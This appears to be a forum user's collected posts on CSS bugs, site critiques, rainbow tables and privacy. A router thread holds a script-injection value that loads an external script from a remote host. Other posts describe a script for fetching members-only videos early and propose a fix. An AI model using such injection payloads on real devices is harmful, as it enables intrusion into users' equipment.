    The F-bomb?

    in Everything Else

    Posted

    I'm sorry, I couldn't get past

    It is outrageous, in a post 9/11 world, that a company would use this type of marketing scheme

    So, now, terrorists are using led signs as a means of doing their bidding. Oh the Horror! Why does every thing have to be about 9/11? Yes, it was tragic. Yes, a lot of innocent people died, but it over, its in the past, we need to move on. I mean we've already killed the Iraqi* scumbags that did it. If leds are terrorist weapons, I have a stockpile. Yeah, Fed's thats right, I said it, I have leds!

    In a "pre 9/11" world, we would have said "oh thats cool." But apparently, now, anything with blinking leds is a bomb.

    * Yes I know, they were Afghani. Its as joke.

    CSS Problems

    I tried your page in a gauntlet of various browsers, and it seems like its only IE6 and IE5.5 (IE5.0 wouldn't even open your page :) ). It may be an Escaping Floats Bug. In case its not this page has a good list of the possible IE bugs.

    It may also have something to do with this:

          .side_column, #middle {

         width:229px;

         float:left;

         padding:0;

         margin:0;

         

      }

    seeing as the "something here" div has the side_column class. The #middle later gets overridden by:

          #middle {

         width:534px;

         margin:0 3px;

      

         

      }

    you could try adding this to the end of your style sheet:

    .side_column #right {

     float: right;

}

    and man, put down the Frontpage, we don't want anybody to get hurt, now do we. :twisted:

    You got that when you tried to decompile it? Have you tried using a hex editor. If that Multi tool program runs, it cant possibly be encrypted, if it is then the key should be some where in the file. To top that, if its a standard windows exe, it couldn't be "decompiled", disassembled maybe but you wouldn't ever get the original source back.

    Well according to this post it does use encryption. Blowfish to be exact.

    web site

    First things first, ditch the splash page. I don't mean to be harsh, but the nineties called (you know the rest). Now on to the advertisements, ditch those too. This web site is an ad for disc shack, and having ad in an ad is kind of redundant. You should try to get him to pay for hosting, its not that expensive, and it would make you and him look more professional. The composition on some of the photos is kinda off. Oh yeah, DON'T USE ALL CAPS. FOR ANYTHING. PERIOD. :wink:

    On to the code, did you use dreamweaver? You definitely used a WYSIWYG, one shouldn't be able to tell these things. I am very big on hand coding web sites so take this with a grain of salt. I believe that hand coding a web site yields code that is more reusable, and flexible. If your client ever wanted to make his site dynamic, you will a very hard time figuring out whats what. Unless of course use ASP... but lets hope thats not the case. I mean on small sites fine whatever, its a few extra hours of pay right? But I have heard horror stories of 1,200 static html pages, all created with dreamweaver, imagine if they changed their phone number. Every page would have to be loaded in to dreamweaver, and changed. Not fun.

    External style sheets, use them (see above, about code reuse).

    When the dust settles, everything is said and done, and [some other cliché here]. Its not a bad site. It just needs some polish.

    P.S. You spelled welcome wrong in the title. Dreamweaver does have a spell check feature. Its under the "Text" menu.

    Belkin router JavaScript vulnarability?

    in Questions

    Posted

    Hmmm... Javascript you say?

    Here's a possible scenario, your router is probably doing a some sort of server side scripting. It then generates the page which happens to contain a javascript something like:

    var key = "[your key]";

    the problem is that you key could contain a quote, it could be a single or double quote, as javascript uses both for strings. for instance:

    var key = "my"lame"key";

    now what you have to do is add a </script>after the quote, and link to an external script. so your key could be:

    "&lt;/script&gt;&lt;script src="http://hak5.org/a.js"&gt;&lt;/script&gt;

    But this is hypothetical, seeing I don't have the source or the key, but a quick run to grc's password page reveals that those passwords are chock full of quotes and other things that could get you in trouble. But if you care to post your key and the source of that page, I will be glad to install spyware on you computer... I mean... ummm... goodbye... :wink:

    Watch Diggnation early?

    in Questions

    Isn't there a paying member out there that chooses to redistribute DiggNation from its first day of release from his own site? The vid license allows it, so there's not really much they can do about it.

    Yes, thats Diggdown.net but my hack did not involve that at all it was a direct download from Revisioin3's site. Which, according to this post the main reason they don't want people to download it from diggdown is they don't get ad revenue, and clearly in this case they do.

    I'm not crying that they deleted my post, because I admit I was really dumb for posting it there. The point I'm trying to make is they do nothing to prevent early downloads (except deleting forum posts). I'm not talking DRM or anything like that, just make the URL even the slightest bit harder to figure out.

    Here's the code http://rapidshare.com/files/12852314/rev4.zip.html

    Watch Diggnation early?

    in Questions

    Posted

    Alright this post got deleted from the Revision3 forums, but here it goes... (all right so it doesn't get immedately deleted here, make sure to read the last few paragraphs).

    I'm a long time fan of Diggnation, but last week I really wanted to

    watch the live show but I was not a paying member, so, I couldn't get

    early. So, I wrote a script that allows someone who's not a paying

    member to watch any episode of Diggnation, including the episodes that

    are Members only ([not] attached). It uses Revision3's flash player and all

    downloads are available.

    It combines the MP3 feed with the naming conventions that they use on

    their other files (WMV, AVI, etc.). The only drawback is that in order

    to get around the lack of cross-site scripting it uses a small PHP

    script to reflect the MP3 Feed to the HTML page.

    <rant>

    So to clarify, I don't want to do harm to Revision3. I like their content, but apparently they don't get it. They never looked at my code or even really read my post. It is extremely easy to download Diggnation early directly from their site. Thats the kicker, its direct from their site. They have put no measures in place to prevent it. It not like I'm posting about Diggdown or something like that.

    </rant>

    Well, so this is just about me frothing at the mouth. I think we should create some mechanism to prevent "unauthorized downloading of premium content". So here's my Idea, tell me what you think. It involves putting hash of the the content in the url for the video.

    for example:

    the current url of diggnation is (go ahead try it):

    http://videos.revision3.com/diggnation/008...-large.h264.mov

    My idea is:

    http://videos.revision3.com/diggnation/0081/[Hash of video file]/diggnation--0081--2007-01-12--large.h264.mov

    The only drawback is that a paying member could still post the link somewhere, but if you're a paying member you could just redistribute the video file.

    What is rainbow tables and its use?

    in Questions

    Posted

    Ok so basically its a password hacking program that just tries about every single word and letter and number sequence for you until it cracks it, is that right?

    Not quite, What you talking about is brute force. A Rainbow table is a way of doing all the brute force type computations ahead of time and saving them. Which also allows you to give that data to other people.

    Ways People Find Who and Were u Are

    Another way for some one to get ones personal information is to watch someones internet traffic. A lesser l33t h4x0r may say "Hmmm... I'll just check my checking account balance, while I'm at it." Not realizing that there are only two banks in that particular chain. With enough of that kind of information, you could probably narrow the location of a person down to the block or street that they live on.

    The only possible solution to that is to not be a n00b, but you could probably say that to anything. e.g.

    Person A: "OMG, the fuzzzzz found where I live, Oh Noes!"

    Person B: "Come on! Don't be a n00b"

    Person A: "I think the guacamole gave food poising."

    Person B: "Well, that wouldn't have happened if you weren't such a n00b"

    Person A: "What does it mean when TOR isn't responding? I still have an internet connection."

    Person B: "That you're a n00b"

    So the moral of the story is you should probably keep you traffic restricted to public terminals, and... um... don't be a n00b. :wink:

    My site looks different in IE6 IE7 And Firefox!

    in Questions

    Cross Browser compatibility is very much a dark art that arises from each browser manufacturer interpreting the standards differently. A great place to start is Position is Everything. They have a very comprehensive list of all bugs in all browsers (mostly IE, but you probably expected that). This is such a big problem, people have exploited it to create very different designs in different browsers. Take a look at this page in IE6 and then in IE7 or Firefox.

    You can usually get css based layouts to work if you know what to avoid. Even with psychokiller solution you can still run into problems.

    The quickest, dirtiest, way is to make your layout work flawlessly in Firefox and Opera, as they are the most standards compliant, then use conditional comments to create specific versions for the various versions of IE.

    And lastly if need to run multiple versions of IE, you should check out this and this. That should be everything you need to start your journey, minus a few bags of jerkey. ;)

    Just imagine if this dihydrogen monoxide got into our water supply. I could see where this would be a terrorist field day.

    I've heard that Dihydrogen Monoxide was even responsible for creating the Grand Canyon, apparently the Colorado River contains tons of this stuff.

    I loved the live show even though there were a few issues.

    Now on to the war typing. You could do it this way. Here the pdf that describes it in nauseating detail.

    And should you get yourselves another Paul it would be nice to have lower thirds with (at least) the callers names.
